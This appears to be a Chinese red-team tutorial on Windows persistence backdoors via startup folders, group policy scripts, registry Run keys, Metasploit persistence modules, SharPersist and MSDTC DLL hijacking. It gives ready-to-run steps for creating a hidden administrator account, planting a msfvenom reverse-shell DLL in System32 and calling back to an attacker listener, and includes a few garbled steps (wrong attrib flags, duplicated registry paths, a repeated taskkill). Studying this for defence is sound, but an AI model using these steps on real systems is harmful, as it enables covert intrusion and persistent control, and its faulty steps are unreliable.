Windows中有很多自动启动程序的方法,这些方法稍加利用可以即可帮助我们完成Windows下的权限维持,下文将分别从启动文件夹利用,组策略利用,注册表利用分别展开
启动文件夹利用思路较为简单,即将Payload文件放在启动文件夹,再利用文件隐藏技巧对Payload进行隐藏
# 系统级自启动文件夹,需要System权限才能操作
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
# 用户级自启动文件夹,文件夹所属用户登录可以操作
C:\Users\${用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
1、将文件移植文件夹
2、对文件进行隐藏处理,如利用attrib为文件进行隐藏
attrib -S -A -H -R test.txt
更多文件隐藏技巧可以参考《文件隐藏技巧在Windows权限维持中的应用》
组策略的利用方法与启动文件夹的利用思路基本一致,即在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件
# 计算机启动时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
# 计算机关闭时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
# 只针对用户添加启动项
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
1、在启动项中添加启动脚本,如
# 将下面作为bat文件,添加到启动项中
echo off
net user redteam$ redteam /add
net localgroup administrators redteam$ /add
exit
Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示。
注册表位置说明
# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
说明:
1、HKEY_CURRENT_USER类,为用户级注册表,即只有当前用户登录才会触发自启动,其他用户登录不会触发。
2、HKEY_LOCAL_MACHINE类,为主机类注册表,即只要主机启动自启动项就会被触发。
3、Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行
4、Run与RunOnce键区别是,Run 键值每次开机均会被执行,RunOnce 键值只执行一次,操作执行后会被自动删除
语法说明
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
[/reg:32 | /reg:64]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略默认到当前机器。远程机器上
只有 HKLM 和 HKU 可用。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名称。
/v 所选项之下要添加的值名称。
/ve 为注册表项添加空白值名称(默认)。
/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ]
如果忽略,则采用 REG_SZ。
/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符。
/d 要分配给添加的注册表 ValueName 的数据。
/f 不用提示就强行覆盖现有注册表项。
/reg:32 指定应该使用 32 位注册表视图访问的注册表项。
/reg:64 指定应该使用 64 位注册表视图访问的注册表项。
举例
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Flash /t REG_SZ /d " E:\Flash.exe"
# 1、run persistence用法
-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L <opt> 如果未使用%TEMP%,则在目标主机中写入有效负载的位置
-P <opt> 使用哪个Payload,默认使用 windows/meterpreter/reverse_tcp.
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T <opt> 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i <opt> 每次连接尝试之间的时间间隔(秒)
-p <opt> 运行Metasploit的系统正在侦听的端口
-r <opt> 运行Metasploit监听连接的系统的IP
举例
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p msf端口 -r msf对应IP
# 2、post/windows/manage/persistence_exe模块用法
# 启动模块persistence_exe
use post/windows/manage/persistence_exe
# 设置要用的payload
set REXEPATH /opt/msf/flash.exe
# 查看要攻击的主机session
sessions -l
# 设置要攻击的主机session
set SESSION 1
# 设置植入哪类注册表,如以获得SYSTEM权限可以设置为 set STARTUP USER
set STARTUP USER
# 设置payload存放在目标主机的位置
set LOCALEXEPATH C:\\tmp
# 执行攻击
run
SharPersist是C#编写的命令行工具,其主要为了解决使用多种不同的技术在Windows操作系统上建立持久性,该工具的主要功能为;
1、reg-注册表项添加/修改
2、keepass-keepass配置文件后门
3、schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务
4、startupfolder-启动文件夹中的lnk文件
5、tortoisesvn-乌龟svn钩子脚本
6、service-创建新的Windows服务
7、schtask-创建新的计划任务
此处演示以msf与SharPersist结合使用
# 将SharPersist下载到你的msf服务下面(位置随便)
wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
# 将SharPersist.exe推送到你的目标机器方便一会用
upload /opt/msf/SharPersist.exe E:\\
# 使用SharPersist添加注册表
SharPersist.exe -t reg -c "C:\Windows\System32\cmd.exe" -a "/c E:\Flash.exe" -k "hkcurun" -v "Flash" -m add
查看是否添加成功
msdtc,全称Microsoft Distributed Transaction Coordinator,是微软分布式传输协调程序,此服务主要时解决多数据源协调问题。此后门的利用原理为:因为MSDTC服务启动时会搜索并加载三个dll文件(oci.dll,SQLLib80.dll,xa80.dll),我们通过将Payload伪装为dll文件的方式,让MSDTC加载我们的木马程序。从而完成劫持过程
DLL劫持原理介绍
DLL劫持指的是,通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。我们可以利用此原理探索更多劫持手段
注册表所在位置为:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
dll存放路径为:C:\Windows\system32\
优先伪造系统不存在的dll避免因dll替换导致系统正在运行的功能收到影响
利用方法
此方法建立在已经拿到服务器的system账户权限情况下进行,关于提权可以参考本系列提权类文章
1、用msf生成利用dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=替换IP LPORT=替换端口 -f dll >oci.dll
2、将dll文件放到dll存放路径(C:\Windows\system32\)
# 1、将payload下载到目标机本地
upload /opt/msf/oci.dll E:\\
# 2、进入目标机shell
shell
# 3、将payload移动到C:\Windows\System32
move E:\oci.dll c:\Windows\System32
3、重启msdtc.exe
# 1、杀死msdtc.exe
taskkill /f /im msdtc.exe
# 2、启动msdtc
taskkill /f /im msdtc.exe
至此主机已上线
为了您和您家人的幸福,请不要利用文中技术在用户未授权情况下开展渗透测试!!!
《中华人民共和国刑法》
第二百八十五条
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
第二百八十六条
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚